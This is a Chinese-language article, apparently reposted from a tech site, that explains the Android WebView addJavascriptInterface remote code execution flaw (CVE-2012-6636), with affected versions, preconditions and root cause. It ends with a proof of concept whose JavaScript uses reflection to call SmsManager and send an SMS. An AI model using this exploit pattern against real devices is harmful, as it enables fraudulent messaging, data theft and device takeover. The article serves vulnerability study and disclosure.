首页 > 系统 > Android > 正文

关于Android中WebView远程代码执行漏洞浅析

2020-07-28 14:37:56
字体:
来源:转载
供稿:网友

1. WebView 远程代码执行漏洞描述

      Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。该漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。

      该漏洞公布的近期,多款Android流行应用曾被曝出高危挂马漏洞:点击消息或朋友社区圈中的一条网址时,用户手机然后就会自动执行被挂马的代码指令,从而导致被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取以及被远程控制等严重后果。在乌云漏洞平台上,包括Android版的微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批TOP应用均被曝光同类型的漏洞。

      论文Attacks on WebView in the Android System【2】中指出可以利用所导出的读写文件接口来进行文件的读写操作,攻击者可以通过中间人攻击篡改Webview所显示的页面来达到对手机文件系统的控制。

2. WebView 远程代码执行影响范围

      Android API level 小于17 (即Android 4.2之前的系统版本)

3.WebView 远程代码执行漏洞详情

1) WebView 远程代码执行漏洞位置:

      WebView.addJavascriptInterface(Object obj, String interfaceName)

2)WebView 远程代码执行漏洞触发前提条件:

      使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;

      使用WebView加载外部网页或者本地网页;

      Android系统版本低于4.2;

3) WebView 远程代码执行漏洞原理:

      Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

4. WebView 远程代码执行漏洞POC

      1) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API sendTextMessage来发送短信。

      java代码:

mWebView = new WebView(this);mWebView.getSettings().setJavaScriptEnabled(true);mWebView.addJavascriptInterface(this, "injectedObj");mWebView.loadUrl(file:///android_asset/www/index.html);

      EXP的JavaScript代码:

<html> <body> <script>  var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);  objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null); </script> </body></html>
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表